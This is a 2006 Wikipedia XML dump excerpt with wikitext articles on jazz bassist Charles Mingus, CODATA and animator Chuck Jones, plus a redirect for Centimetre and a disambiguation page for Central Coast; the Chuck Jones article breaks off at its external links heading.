'''Charles Mingus''' ([[April 22]], [[1922]] &amp;ndash; [[January 5]], [[1979]]), also known as '''Charlie Mingus''', was an American  [[jazz]] [[double bass|bassist]], [[composer]], [[bandleader]], and occasional [[pianist]]. He was also known for his [[activism]] against [[racism|racial injustice]]. 

Mingus's legacy is notable: he is ranked among the finest composers and performers in jazz, and recorded many highly regarded albums. Dozens of musicians passed through his bands and later went on to impressive careers. His songs &amp;mdash; though melodic and distinctive &amp;mdash; are not often recorded by later musicians, due in part to their unconventional nature. Mingus was also influential and creative as a bandleader, recruiting talented and sometimes little-known artists whom he assembled into unconventional and revealing configurations.

Nearly as well known as his ambitious music was Mingus's often fearsome temperament. His refusal to compromise his musical integrity led to many onstage explosions, though it has been argued that his temper also grew from a need to vent frustration.  Ironically, a perfect show could irritate him by closing this outlet. 

Mingus was prone to [[clinical depression|depression]] (possibly [[manic depression]]). He tended to have brief periods of extreme creative activity, intermixed with fairly long periods of greatly decreased output. 

Most of Mingus's music retained the hot and soulful feel of [[hard bop]] and drew heavily from black [[gospel music]] while sometimes drawing on elements of [[Third Stream Jazz]] and [[free jazz]]. Yet Mingus avoided categorization, forging his own brand of music that fused tradition with unique and unexplored realms of jazz. Mingus focused on collective improvisation, similar to the old New Orleans Jazz parades, paying particular attention to how each band member interacted with the group as a whole. In creating his bands, Mingus looked not only at the skills of the available musicians, but also their personalities. He strived to create unique music to be played by unique musicians. 

Due to his brilliant writing for mid-size ensembles &amp;mdash; and his catering to and emphasising the strengths of the musicians in his groups &amp;mdash; Mingus is often considered the heir apparent to [[Duke Ellington]], for whom he expressed unqualified admiration. 

==Biography==
===Early life and career===
Mingus was born in [[Nogales, Arizona|Nogales]], [[Arizona]], but was raised largely in the [[Watts, Los Angeles, California|Watts]] area of [[Los Angeles, California|Los Angeles]], [[California]].

His mother allowed only church-related music in their home, but Mingus developed an early love for jazz, especially Ellington's music. He studied [[trombone]], and later [[cello]]. Much of the cello technique he learned was applicable to [[double bass]] when he took up the instrument in [[high school]]. 

Even in his teen years, Mingus was writing a considerable number of rather advanced pieces; many are similar to Third Stream Jazz. A number of them were recorded in 1960 with conductor [[Gunther Schuller]], and released as ''Pre-Bird'', referencing [[Charlie Parker|Charlie &quot;Bird&quot; Parker]].

Mingus gained a reputation as something of a bass prodigy. He toured with [[Louis Armstrong]] in 1943, then played with [[Lionel Hampton]]'s band in the late 1940s; Hampton performed and recorded a few of Mingus's pieces. A popular trio of Mingus, [[Red Norvo]] and [[Tal Farlow]] in 1950 and 1951 received considerable acclaim. Mingus was briefly a member of Ellington's band in the early 1950s, and Mingus's notorious temper reportedly led to his being the only musician personally fired by Ellington.

Also in the early 1950s, before attaining commercial recognition as a bandleader, he played a number of live bookings with Charlie Parker, whose compositions and improvisations greatly inspired and influenced Mingus. Mingus considered Parker the greatest genius and innovator in jazz history, but he had a love-hate relationship with Parker's legacy. Mingus blamed the Parker mythology for a derivative crop of pretenders to Parker's throne. He was also conflicted and sometimes disgusted by Parker's self-destructive habits and the romanticized lure of drug addiction they offered to other jazz musicians. In response to the many sax players who imitated Parker, Mingus titled a song, &quot;If Charlie Parker were a Gunslinger, There'd Be A Whole Lot of Dead Copycats.&quot;

In 1952 Mingus co-founded [[Debut Records]] with [[Max Roach]], in order to conduct his recording career as he saw fit. After bassist [[Oscar Pettiford]] broke his arm playing [[baseball]], Mingus stepped in to replace him at the famed May 15, 1953 concert at [[Massey Hall]]. He joined [[Dizzy Gillespie]], Charlie Parker, [[Bud Powell]], and Max Roach in what was to be the last recorded meeting of the two lead instrumentalists. After the event, Mingus chose to overdub his barely-audible bass part. The two 10&quot; albums of the Massey Hall concert (one featured the trio of Powell, Mingus and Roach) were among Debut Records' earliest releases. Mingus may have objected to the way the major record companies treated musicians, but Gillespie once commented that he did not receive any [[royalties]] &quot;for years and years&quot; for his Massey Hall appearance. The records though, are often regarded as among the finest live jazz recordings. 

In 1955, Mingus was involved in a notorious incident while playing a club date billed as a &quot;reunion&quot; with Parker, [[Bud Powell|Powell]], and Roach. Powell, who had suffered from alcoholism and mental illness for years (potentially exacerbated by a severe police beating and [[electroshock]] treatments), had to be helped from the stage, unable to play or speak coherently. As Powell's incapacitation became apparent, Parker stood in one spot at a microphone, chanting &quot;Bud Powell...Bud Powell...&quot; as if beseeching Powell's return. Allegedly, Parker continued this incantation for several minutes after Powell's departure, to his own amusement and Mingus's exasperation. Mingus took another mic and announced to the crowd, &quot;Ladies and gentlemen, please don't associate me with any of this. This is not jazz. These are sick people.&quot; Roughly a week later, Parker died of complications of years of drug abuse.

[[Image:Charles_Mingus_USPS.jpg|thumb|200px|right|Charles Mingus postage stamp; issued by the USPS on September 16, 1995.]]

===''Pithecanthropus Erectus''===
Mingus had already recorded about ten albums as a bandleader, but [[1956]] was a breakthrough year, with the release of ''[[Pithecanthropus Erectus]]'', arguably his first major work as both a bandleader and composer. Like Ellington, Mingus wrote songs with specific musicians in mind, and his band for ''Erectus'' included adventurous, though distinctly [[blues]]-oriented musicians, especially saxophonist [[Jackie McLean]] and piano player [[Mal Waldron]]. The title song is a ten minute [[tone poem]], depicting the rise of man from his [[hominid]] roots ([[Java Man|''Pithecanthropus erectus'']]) to an eventual downfall. A section of the piece was [[free improvisation|improvised]] free of structure or theme.

Another album, ''The Clown'' ([[1957]] on [[Atlantic Records]]) was the first to feature [[drum]]mer [[Dannie Richmond]].  Richmond played with Mingus for the next twenty years, until Mingus' death. Richmond and Mingus formed one of the most impressive and versatile [[rhythm section]]s in jazz. Both were accomplished performers seeking to stretch the boundaries of their music while staying true to its roots. When joined by pianist [[Jaki Byard]], they were dubbed &quot;The Almighty Three&quot;. [http://www.fantasyjazz.com/catalog/mingus_c_cat.html]

The following decade is widely regarded as Mingus's most productive and fertile era. Impressive new compositions and albums appeared at an astonishing rate: Some ''thirty'' records in ten years, for a number of record labels (Debut, [[Candid Records|Candid]], [[Impulse Records]] and others), a pace perhaps unmatched by any musician or group excepting Ellington. 

Mingus often worked with a mid-sized ensemble (around 8&amp;ndash;10 members) of rotating musicians known as the '''Jazz Workshop'''. Mingus broke new ground, constantly demanding that his musicians be able to explore and develop their perceptions on the spot. Those tapped to join the Workshop (or Sweatshops as they were colorfully dubbed by the musicians) were skilled musicians yearning for a taste of the big time. Mingus shaped these promising novices into a cohesive [[improvisation]]al machine that in many ways anticipated [[free jazz]]. 

Jazz Workshop members included:
*[[Pepper Adams]]
*[[Jaki Byard]]
*[[Eric Dolphy]]
*[[Booker Ervin]]
*[[Rahsaan Roland Kirk]]
*[[Jimmy Knepper]]
*[[John Handy]]
*[[Jackie McLean]]
*[[Charles McPherson (saxophonist)|Charles McPherson]]
*[[Horace Parlan]]

Only one misstep occurred in this era: [[1962]]'s ''Town Hall Concert''. An ambitious program, it was unfortunately plagued with troubles from its inception. [http://www.villagevoice.com/issues/0023/santoro.php]  Mingus' vision was finally realized in [[1989]], see [[Epitaph (Mingus)]].

===''Charles Mingus Presents Charles Mingus''===
Mingus witnessed [[Ornette Coleman]]'s legendary &amp;mdash; and controversial &amp;ndash; 1960 appearances at [[New York City]]'s [[Five Spot]] jazz club. Though he initially expressed rather mixed feelings for Coleman's innovative music, Mingus was in fact a prime influence of the early [[free jazz]] era. He formed a quartet with Richmond, trumpeter [[Ted Curson]] and saxophonist [[Eric Dolphy]]. This ensemble featured the same instruments as Coleman's quartet, and is often regarded as Mingus rising to the challenging new standard established by Coleman. ''Charles Mingus Presents Charles Mingus'', the quartet's sole album, is frequently included among the finest in Mingus's catalogue.

===''The Black Saint and the Sinner Lady''===
In [[1963]], Mingus released ''[[The Black Saint and the Sinner Lady]]'', a sprawling, multi-section masterpiece, described as &quot;one of the greatest achievements in [[orchestration]] by any composer in jazz history.&quot; [http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDSUB040405070932540817&amp;sql=A4f867ur070jd] The album was also unique in that Mingus asked his [[psychotherapy|psychotherapist]] to provide notes for the record. 

1963 also saw the release of an unaccompanied album ''Mingus Plays Piano''. His piano technique, though capable and expressive, was somewhat unrefined when compared to  [[Ahmad Jamal]] or other contemporary jazz pianists, but the album is still generally well regarded. A few pieces were entirely improvised and drew on [[European classical music|classical music]] as much as jazz, preceding [[Keith Jarrett]]'s landmark ''[[The Köln Concert]]'' in those regards by some twelve years.

In [[1964]] Mingus put together one of his best-known groups, a sextet including Dannie Richmond, [[Jaki Byard]], Eric Dolphy, [[trumpet]]er [[Johnny Coles]], and tenor saxophonist [[Clifford Jordan]].  The group was recorded frequently during its short existence; Coles fell ill during a European tour.

===''Changes''===
Mingus's pace slowed somewhat in the late 1960s and early 1970s. In [[1974]] he formed a quintet with Richmond, pianist [[Don Pullen]], trumpeter [[Jack Walrath]] and saxophonist [[George Adams]]. They recorded two well-received albums, &quot;[[Changes One (Mingus)|Changes One]]&quot; and &quot;[[Changes Two]]&quot;.

''Cumbia and Jazz Fusion'' in [[1976]] sought to blend [[Colombia]]n music (the &quot;[[Cumbia]]&quot; of the title) with more traditional jazz forms.

===Later career and demise===
By the mid-1970s, Mingus was suffering from [[amyotrophic lateral sclerosis]] (popularly known as [[Lou Gehrig]]'s disease), a wastage of the musculature. His once formidable bass technique suffered, until he could no longer play the instrument. He continued composing, however, and supervised a number of recordings before his death. 

Mingus died aged 56 in [[Cuernavaca]], [[Mexico]], where he had traveled for treatment and convalescence. His ashes were scattered in the [[Ganges River]].

At the time of his death, Mingus had been recording an album with singer [[Joni Mitchell]], which included vocal versions of some of his songs (including &quot;Goodbye Pork Pie Hat&quot;) among Mitchell originals and short, spoken word duets and home recordings of Mitchell and Mingus. To show how important his influence was on the jazz world, this album also featured [[Jaco Pastorius]], a similarly self-destructive bassist.

===After his death===
The music of Charles Mingus is currently being performed and reinterpreted by the [[Mingus Big Band]], which plays every Tuesday and Thursday in New York City, and often tours the rest of the [[United States]] and Europe. [[Elvis Costello]] has written lyrics for a few Mingus pieces and has sung them in performances with the Mingus Big Band.  Other tribute bands are also active around the US, including [[Mingus Amungus]] in the [[San Francisco Bay Area]].

Bass players continue to revere Mingus and his work, as exemplified by Pat Kays, the bassist of [[third-wave ska]] band [[Catch 22 (band)|Catch 22]]. Kays took the name Mingus as his nickname.

A documentary film by Ray Davies entitled ''Weird Nightmare'' was released in [[1991]].  It contains footage of Mingus and interviews with artists making [[Hal Willner]]'s tribute album of the same name, including Elvis Costello, [[Charlie Watts]], [[Keith Richards]], and [[Vernon Reid]].

===Mingus's temper===
As respected as Mingus was for his musical talents, he was often feared for his sometimes violent onstage temper, which was at times directed at members of his band, and other times aimed at the audience. He was physically large, prone to [[obesity]] (especially in his later years), and was by all accounts often intimidating and frightening when expressing anger or displeasure.

When confronted with a nightclub audience talking and clinking ice in their glasses while he performed, Mingus stopped his band and loudly chastised the audience, stating &quot;[[Isaac Stern]] doesn't have to put up with this shit&quot; [http://www.swing2bop.com/articles.html]. He once played a prank on a similar group of nightclub chatterers by silencing his band for several seconds, allowing the loud audience members to be clearly heard, then continuing as the rest of the audience snickered at the oblivious 'soloists'. 

While onstage at a memorial concert in Philadelphia, he reportedly attempted to crush his pianist's hands with the instrument's keyboard cover, then punched trombonist [[Jimmy Knepper]] in the mouth. [http://www.mp3.com/charles-mingus/artists/6068/biography.html]  On [[October 12]], [[1962]], Mingus reportedly punched Knepper while the two men were working together at Mingus's apartment on a score for his upcoming concert at New York Town Hall and Knepper refused to take on more work.  The blow broke one of Knepper's teeth, ruined his embouchure and resulted in the permanent loss of the top octave of his range on the trombone.  This attack ended their working relationship and Knepper was unable to perform at the concert, a disaster.  Charged with assault, Mingus appeared in court in January, 1963 and was given a suspended sentence. [http://www.jazznation.com/Goodbye.htm]  In another incident, saxophonist [[Jackie McLean]] once stabbed Mingus after Mingus punched him, fearing the bassist was about to kill him.

Mingus' onstage destruction of an $800 bass prompted British rockers [[The Animals]] &amp;mdash; avid fans who witnessed Mingus's characteristic explosion at a London show &amp;mdash; to emulate the outburst, starting a trend of rampant  onstage destruction of musical equipment in &quot;rock theater&quot; popularized by [[Jimi Hendrix]] and [[The Who]], which continues to this day.

===Epitaph===
&quot;[[Epitaph (Mingus)|Epitaph]]&quot; is the master work of Charles Mingus. It is a composition which is more than 4,000 measures long, requires two hours to perform and was only completely discovered during the cataloguing process after his death by musicologist Andrew Homzy. With the help of a grant from the [[Ford Foundation]], the score and instrumental parts were copied, and the piece itself was premiered by a 30-piece orchestra, conducted by [[Gunther Schuller]]. This concert was produced by Mingus' widow, Sue Graham Mingus, at Alice Tully Hall on June 3, 1989, ten years after his death.

==Samples==
{{listen|filename=Fables Of Faubus.ogg|title=&quot;Fables of Faubus&quot;|description=from ''[[Mingus Ah Um]]''|format=[[Ogg]]}}
:See &quot;[[Fables of Faubus]]&quot;.

==Partial discography==
Major works include:
* ''Pithecanthropus Erectus'' ([[1956]], [[Atlantic Records|Atlantic]])
* ''The Clown'' ([[1957]], Atlantic)
* ''[[Tijuana Moods]]'' (1957)
* ''[[New Tijuana Moods]]'' (1957)
* ''[[Blues &amp; Roots]]'' ([[1959]], Atlantic)
* ''[[Mingus Ah Um]]'' (1959, [[Columbia Records|Columbia]])
* ''Mingus Dynasty'' (1959, Columbia)
* ''Pre Bird'' ([[1960]], [[Mercury Records|Mercury]])
* ''Mingus at Antibes'' (1960, Atlantic)
* ''Charles Mingus Presents Charles Mingus'' (1960, Candid)
* ''[[Oh Yeah (album)|Oh Yeah]]'' ([[1962]], Atlantic)
* ''[[The Black Saint and the Sinner Lady]]'' ([[1963]], Impulse)
* ''Mingus Plays Piano'' (1963, Impulse)
* ''[[Mingus Mingus Mingus Mingus Mingus]]'' (1963, Impulse)
* ''Let My Children Hear Music'' (1972, Columbia)
* ''[[Changes One (Mingus)|Changes One]]'' ([[1974]], Atlantic)
* ''Changes Two'' (1974, Atlantic)
* ''Cumbia &amp; Jazz Fusion'' ([[1976]], Atlantic)
* ''[[Epitaph (Mingus)|Epitaph]]'' ([[1990]], Columbia, posthumous)
Of these, ''[[Mingus Ah Um]],'' ''[[Blues &amp; Roots]],'' and ''[[The Black Saint and the Sinner Lady]]'' are arguably his best works.

==Cover versions==
Considering the number of compositions that Charles Mingus has written, his works have not been recorded as often as comparable jazz composers. Of all his works, his elegant [[elegy]] for [[Lester Young]], &quot;Goodbye Porkpie Hat&quot; (from ''Mingus Ah Um'') has probably had the most recordings. Besides recordings from the expected jazz artists, the song has also been recorded by musicians as disparate as [[Jeff Beck]], [[Eugene Chadbourne]], and [[Bert Jansch]] and [[John Renbourn]] with and without [[Pentangle]]. [[Joni Mitchell]] sang a version with lyrics that she wrote for the song.

==Books on Charles Mingus==
*His autobiography, ''Beneath the Underdog'', presents a vibrantly boastful and possibly apocryphal account of his early career as a [[pimp]].
*''Myself When I Am Real: The Life and Music of Charles Mingus'' by Gene Santoro, Oxford University Press (November 1, 2001), 480 pages, ISBN 0195147111
*''Mingus: A Critical Biography'' by Brian Priestley, Da Capo Press (April 1, 1984), 340 pages, ISBN 0306802171 
*''Tonight At Noon: A Love Story'' by Sue Graham Mingus, Da Capo Press; Reprint edition (April, 2003), 272 pages, ISBN 0306812207. Written by his widow.
*''Charles Mingus - More Than a Fake Book'' by Charles Mingus, Hal Leonard Corporation (November 1, 1991), 160 pages, ISBN 0793509009. Includes 2 CDs, photos, discography, music transcriptions, a Mingus comic book promoting his anti-bootlegging project, etc.
*''Mingus/Mingus : Two Memoirs'' by Janet Coleman, Al Young, Limelight Editions (August 1, 2004), 164 pages, ISBN 0879101490

==Movies==
*In 1959, Mingus provided the music for [[John Cassavetes]]'s gritty New York City film, ''Shadows''.
*In 1968, Thomas Reichman directed the documentary ''Mingus: Charlie Mingus 1968''.
*''Charles Mingus: Triumph of the Underdog'' is a 78 minute long [[documentary film]] on Charles Mingus directed by Don McGlynn and released in [[1998]].

==External links==
{{wikiquote}}
* [http://www.mingusmingusmingus.com/ Official website]

[[Category:1922 births|Mingus, Charles]]
[[Category:1979 deaths|Mingus, Charles]]
[[Category:African American musicians|Mingus, Charles]]
[[Category:Jazz composers|Mingus, Charles]]
[[Category:Jazz bandleaders|Mingus, Charles]]
[[Category:Jazz bassists|Mingus, Charles]]
[[Category:American jazz pianists|Mingus, Charles]]
[[Category:People from Arizona|Mingus, Charles]]
[[Category:People from Los Angeles|Mingus, Charles]]
[[Category:People with Motor Neuron Disease|Mingus, Charles]]


[[da:Charlie Mingus]]
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    <title>Centimetre</title>
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      </contributor>
      <comment>Should redirect to a page on metres in general, the same as [[milimetre]] does.</comment>
      <text xml:space="preserve">#REDIRECT [[metre]]</text>
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    <title>Central Coast</title>
    <id>7670</id>
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      <timestamp>2005-12-22T17:27:07Z</timestamp>
      <contributor>
        <username>GregorB</username>
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      </contributor>
      <minor />
      <comment>{{geodis}}</comment>
      <text xml:space="preserve">There are a number of places called the '''Central Coast''':

* [[Central Coast, California]]
* [[Central Coast, New South Wales]]
* [[Central Coast, Tasmania]]

{{geodis}}</text>
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  <page>
    <title>CODATA</title>
    <id>7671</id>
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      <id>39562609</id>
      <timestamp>2006-02-14T08:19:53Z</timestamp>
      <contributor>
        <username>Adrian Buehlmann Bot</username>
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      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:journal reference|journal reference]]}} to {{[[template:cite journal|cite journal]]}}</comment>
      <text xml:space="preserve">'''CODATA''' ('''Committee on Data for Science and Technology''') was established in [[1966]] as an interdisciplinary committee of the [[International Council of Science]] (ICSU), formerly the International Council of Scientific Unions. It seeks to improve the compilation, critical evaluation, storage, and retrieval of data of importance to [[science]] and [[technology]].

The CODATA Task Group on Fundamental Constants was established in [[1969]]. Its purpose is to periodically provide the international scientific and technological communities with an internationally accepted set of values of the fundamental [[physical constant]]s and closely related [[conversion factor]]s for use worldwide. The first such CODATA set was published in 1973, the second in 1986, the third in 1998, and the fourth in 2002.

The CODATA recommended values of fundamental physical constants are published at the NIST Reference on Constants, Units, and Uncertainty.

==See also==
*[[SI]]

==References==
*{{cite journal | author= Peter J. Mohr and Barry N. Taylor | title=CODATA recommended values of the fundamental physical constants: 2002 | journal=Reviews of Modern Physics | year=January 2005 | volume=77 | pages=1&amp;ndash;107}} An in-depth discussion of how the CODATA constants were selected and determined.

== External links ==

* [http://www.codata.org/ CODATA]
* [http://www.icsu.org/5_abouticsu/STRUCT.html ICSU (International Council for Science)]
* [http://physics.nist.gov/cuu/Constants/index.html CODATA Internationally recommended values of the Fundamental Physical Constants]
* [http://physics.nist.gov/cuu The NIST References on Constants, Units, and Uncertainty]
*[http://physics.nist.gov/cuu/Constants/Table/allascii.txt Simple table ] of the 2002 values

[[Category:International standards]]
[[category:Metrology]]

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  </page>
  <page>
    <title>Chuck Jones</title>
    <id>7672</id>
    <revision>
      <id>41448473</id>
      <timestamp>2006-02-27T11:09:32Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* Notable Animated Films directed by Chuck Jones */</comment>
      <text xml:space="preserve">'''Charles Martin &quot;Chuck&quot; Jones''' ([[September 21]], [[1912]]&amp;ndash;[[February 22]], [[2002]]) was an [[United States|American]] [[animator]], [[cartoon artist]], [[screenwriter]], [[film producer|producer]], and [[film director|director]] of [[animation|animated]] films, most memorably of ''[[Looney Tunes]]'' and ''[[Merrie Melodies]]'' shorts for the [[Warner Brothers]] [[Termite Terrace|cartoon studio]]. He directed many of the classic short [[animated cartoon]]s starring [[Bugs Bunny]], [[Daffy Duck]], the [[Road Runner]] &amp; [[Wile E. Coyote]], [[Pepé Le Pew]] and the other Warners characters, including the memorable ''[[What's Opera, Doc?]]'' ([[1957]]) and ''[[Duck Amuck]]'' ([[1952]]) (both later inducted into the [[National Film Registry]]), establishing himself as an important innovator and storyteller.

==Biography==
===Early life===
Jones was born in [[Spokane, Washington]], and later moved with his parents and three siblings to the [[Los Angeles, California]] area. In his autobiography, ''Chuck Amuck'', Jones credits his artistic bent to circumstances surrounding his father, who was an unsuccessful businessman in California in the [[1920s]].  His father, Jones recounts, would start every new business venture by purchasing new stationery and new pencils with the company name on them.  When the business failed, his father would turn the useless stationery and pencils over to his children.  Armed with an endless supply of high-quality paper and pencils, the children drew constantly.  Jones and several of his siblings went on to artistic careers. After graduating from [[Chouinard Art Institute]], Jones held a number of low-ranking jobs in the animation industry, including washing cels at the [[Ub Iwerks]] studio and assistant animating at the [[Walter Lantz]] studio. While at Iwerks, he met a cel painter named Dorothy Webster, who would later become his wife.

===Warner Bros.===

Jones joined [[Leon Schlesinger | Leon Schlesinger Productions]], the independent studio that produced ''[[Looney Tunes]]'' and ''[[Merrie Melodies]]'' for [[Warner Bros.]], in [[1933]] as an assistant animator. During the late 1930s, he worked under directors [[Tex Avery]] and [[Bob Clampett]], becoming a director (or &quot;supervisor&quot;, the original title for an animation director in the studio) himself in [[1938]] when [[Frank Tashlin]] left the studio. Jones' first cartoon was ''[[The Night Watchman]]'', which featured a cute kitten who would later evolve into [[Sniffles]] the mouse.

Many of Jones' cartoons of the [[1930s]] and early [[1940s]] were lavishly animated, but audiences and fellow [[Termite Terrace]] staff members found them lacking in genuine humor.  Often slow-moving and overbearing with &quot;cuteness&quot;, Jones' early cartoons were an attempt to follow in the footsteps of [[Walt Disney]]'s shorts (especially with such cartoons as ''[[Tom Thumb in Trouble]]'' and the [[Sniffles]] cartoons). Jones finally broke away from both his traditional cuteness, and traditional animation conventions as well, with the cartoon ''[[The Dover Boys]]'' in [[1942]].  Jones credits this cartoon as the film where he &quot;learned how to be funny.&quot;  ''The Dover Boys'' is also one of the first uses of [[limited animation|Stylized animation]] in American film, breaking away from the more realistic animation styles influenced by the [[Walt Disney Studio|Disney Studio]]. This was also the period where Jones created many of his lesser-known characters, including [[Charlie Dog]], [[Hubie and Bertie]], and [[The Three Bears (Looney Tunes)|The Three Bears]]. Despite their relative obscurity today, the shorts starring these characters represent some of Jones' earliest work that was strictly intended to be ''funny''.

During the [[World War II]] years, Jones worked closely with [[Theodore Geisel]] (a.k.a. [[Dr. Seuss]]) to create the ''[[Private Snafu]]'' series of Army educational cartoons. Private Snafu comically educated soldiers on topics like spies and laziness in a more risque way than general audiences would have been used to at the time. Jones would later collaborate with Seuss on a number of adaptations of Seuss' books to animated form, most importantly ''[[How the Grinch Stole Christmas]]'' in [[1966]].

[[Image:Whats Opera Doc still.png|thumb|A still from ''What's Opera, Doc?''.]]
Jones hit his stride in the late 1940s, and continued to make his best-regarded works through the 1950s. Jones-created characters from this period includes [[Claude Cat]], [[Marc Antony and Pussyfoot]], [[Charlie Dog]], [[Michigan J. Frog]] and his three most popular creations, [[Pepe LePew]], the [[Road Runner]] and [[Wile E. Coyote]]. The Road Runner cartoons, in addition to the cartoons that are considered his masterpieces (all written and conceived by [[Michael Maltese]]), ''[[Duck Amuck]]'', ''[[One Froggy Evening]]'', and ''[[What's Opera, Doc?]]'' are today hailed by critics as some of the best cartoons ever made.

The staff of the Jones unit was as important to the success of these cartoons as Jones himself. Key members included writer [[Michael Maltese]], layout artist/background designer/co-director [[Maurice Noble]], animator and co-director [[Abe Levitow]], and animator [[Ken Harris]].

Jones remained at Warners throughout the [[1950s]], except for a brief period in [[1953]] when Warners closed the animation studio. During this interim, Jones found employment at the [[Walt Disney studio]], where he did four months of uncredited work on ''[[Sleeping Beauty (1959 film)|Sleeping Beauty]]'' ([[1959]]).

In the early [[1960s]], Jones and his wife Dorothy wrote the [[screenplay]] for the animated feature ''[[Gay Purr-ee]]''. the finished film would feature the voices of [[Judy Garland]], [[Robert Goulet]] and [[Red Buttons]] as [[cat]]s in [[Paris, France]]. The feature was produced by [[UPA]], and Jones moonlit to work on the film, since he had an exclusive contract with Warner Bros. [[UPA]] completed the film and made it available for distribution in [[1962]]; it was picked up by [[Warner Bros]], who found out Jones had violated his contract and fired him from the company.

===Jones on his own===

With business partner [[Les Goldman]], Jones started an independent animation studio, Sib Tower 12 Productions, bringing on most of his unit from Warner Bros, including [[Maurice Noble]] and [[Michael Maltese]]. In [[1963]], [[Metro-Goldwyn-Mayer]] contracted with Sib Tower 12 to have Jones and his staff produce new ''[[Tom and Jerry (MGM) | Tom and Jerry]]'' cartoons. His animated short film ''[[The Dot and the Line|The Dot and the Line: A Romance in Higher Mathematics]]'' won the [[1965]] [[Academy_award|Oscar]] for Best Animated Short.

As the ''Tom and Jerry'' series wound down (it would be discontinued in [[1967]]), Jones moved on to television. In [[1966]], produced and directed the TV special ''[[How the Grinch Stole Christmas]]'', featuring the voice (and facial features) of [[Boris Karloff]]. In [[1967]], Sib Tower 12 was absorbed by MGM and was renamed MGM Animation Visual Arts. Jones continued to work on TV specials such as ''[[Horton Hears A Who!]]'' ([[1970]]), but his main focus during this time was the feature film ''[[The Phantom Tollbooth]]'', which did lukewarm business when [[MGM]] released it in [[1970]].

In the [[1970s]], Jones left MGM started a new production company, Chuck Jones Productions. His most notable work during this period was three animated TV adaptations of short stories from [[Rudyard Kipling]]'s [[The Jungle Book]]: ''[[Mowgli]]'s Brothers'', ''The White Seal'' and ''[[Rikki-Tikki-Tavi]]''.

===Later years===

Like many modern cartoon legends, Chuck Jones never retired: he was an active artist and cartoonist up until his last weeks.  Through the [[1980s]] and [[1990s]] (and until 2002) Jones was painting cartoon and parody art, sold through animation galleries by his daughter's company, Linda Jones Enterprises.  He was also creating new cartoons for the [[Internet]] based on his new character, &quot;Thomas Timberwolf&quot;. Jones also directed the animated sequence seen at the start of the [[1993]] [[film]] ''[[Mrs. Doubtfire]]''.  Jones was not a fan of much contemporary animation, terming most of it, especially [[television]] cartoons such as those of [[Hanna-Barbera]], &quot;[[illustrated radio]].&quot;

Jones' intellectualism, writing ability, and capacity for self-analysis made him an historical authority as well as a major contributor to the development of the animation genre throughout the 20th century.

For his contribution to the motion picture industry, Chuck Jones has a star on the [[Hollywood Walk of Fame]] at 7011 Hollywood Blvd.

Chuck Jones died of [[congestive heart failure]] on [[February 22]] [[2002]], at age 89. Jones' death brought down the final curtain on ''[[Looney Tunes]]''/''[[Merrie Melodies]]'' family of creators. [[Mel Blanc]], [[Friz Freleng]], [[Tex Avery]], [[Bob Clampett]] and [[Carl W. Stalling]] had all died by the time Jones passed away.

==Influence and critical perception==		

Jones is considered by many to be a master of characterization and timing. His best works are noted for depicting a refinement of character to the point that a single eyebrow wiggle could be a major gag as opposed to the wild, frenetic style usually associated with cartoons, and those of Warner Bros. in particular. Like Walt Disney, Jones wanted animation to gain respect from the film and art communities, and often undertook special animation projects reflecting such, including ''What's Opera Doc'', ''The Dot and the Line'', and the [[1944]] political film ''Hell-Bent for Re-Election'', a [[election campaign|campaign]] film for [[Franklin D. Roosevelt]] that he directed for UPA.

In his later years, Jones became the most vocal alumnus of the Termite Terrace studio, frequently giving lectures, seminars, and working to educate newcomers in the animation field. Many of his principles, therefore, found their way back into the mainstream animation consciousness, and can be seen in films such as ''[[Cats Don't Dance]]'', ''[[The Emperor's New Groove]]'' and ''[[Lilo &amp; Stitch]]''.

Jones had a penchant for cuteness in his earliest days as is visible in his cartoons featuring [[Sniffles]] the Mouse. Other Warners directors, particularly [[Tex Avery]] and [[Robert Clampett]], considered &quot;cute&quot; to be a [[four letter word]]. By request of producer Leon Schlesinger, Jones changed his style, and began making zanier pictures such as ''[[Wackiki Wabbit]]'' and ''Hare Conditioned''. After Avery, Clampett, and Schlesinger left the studio, Jones gradually reincorporated elements of the slow pace, sentimentality and cuteness of his previous work with characters like [[Marc Antony and Pussyfoot]] and the young [[Ralph Phillips]]. His versions of the characters he worked with often showcased a more infantile look than other interpretations, with larger eyes and eyelashes. This is especially apparent in his ''Tom and Jerry'' films, some of which are considered the weakest in the canon.

Jones, like the rest of his Termite Terrace associates after the departure of Schlesinger, has been criticized for using repetitive plots, most obvious in the [[Pepe Le Pew]] and [[Road Runner]] cartoons. It must be noted, however, that many of these films were originally issued to theatres years apart, and the repetitious factor was often done at the request of the producers, management, or theatre owners. Also, series like the Road Runner were set up as exercises in exploring the same situation in different ways. Jones had a set list of rules as to what could and could not occur in a Road Runner cartoon, and stated that it was not ''what'' happened that was important in the films, but ''how'' it happened.

Chuck Jones' reinvention of certain characters is also a controversial subject. He reimagined the wacky, Clampett-esque hero [[Daffy Duck]] as a greedy, sneaky [[antagonist]] with a slow-burning temper; and he relegated hapless star [[Porky Pig]] to being a [[sidekick]] or audience-aware observer of the action. Jones also created a series of films in which he used [[Friz Freleng]]'s [[Sylvester]] in the context of a real [[cat]]. Like all the Warners directors, his [[Bugs Bunny]] characterization is unique to his films: Jones' Bugs never attacks unless attacked, unlike Avery's and Clampett's bombastic rabbits.

==Notable animated films directed by Chuck Jones==

[[Image:Michigan J Frog.png|thumb|100px|One Froggy Evening]]
*''[[The Dover Boys]]'' ([[1942]])
*''[[Hell-Bent for Election]]'' ([[Franklin D. Roosevelt]] campaign film, [[1944]])
*''[[The Rabbit of Seville]]'' ([[1950]])
*''[[Duck Amuck]]'' ([[1952]])
*''[[Duck Dodgers|Duck Dodgers in the 24½th Century]]'' ([[1953]])
*''[[One Froggy Evening]]'' ([[1955]])
*''[[What's Opera, Doc?]]'' ([[1957]])
*''[[The Dot and the Line]]'' ([[1965]])
*''[[The Bear that Wasn't]]'' ([[1967]])
*''[[How the Grinch Stole Christmas!]]'' (TV special, [[1966]])
*''[[The Phantom Tollbooth]]'' (feature film, [[1970]])

==References==
* Barrier, Michael (1999). Hollywood Cartoons: American Animation in Its Golden Age. Oxford: Oxford University Press. ISBN 019-516729-5.
* Jones, Chuck (1989). Chuck Amuck : The Life and Times of an Animated Cartoonist. New York: Farrar Straus &amp; Giroux. ISBN 037-412348-9.
* Jones, Chuck (1996). Chuck Reducks : Drawing from the Fun Side of Life. New York: Warner Books. ISBN 044-651893-X.

==External links==
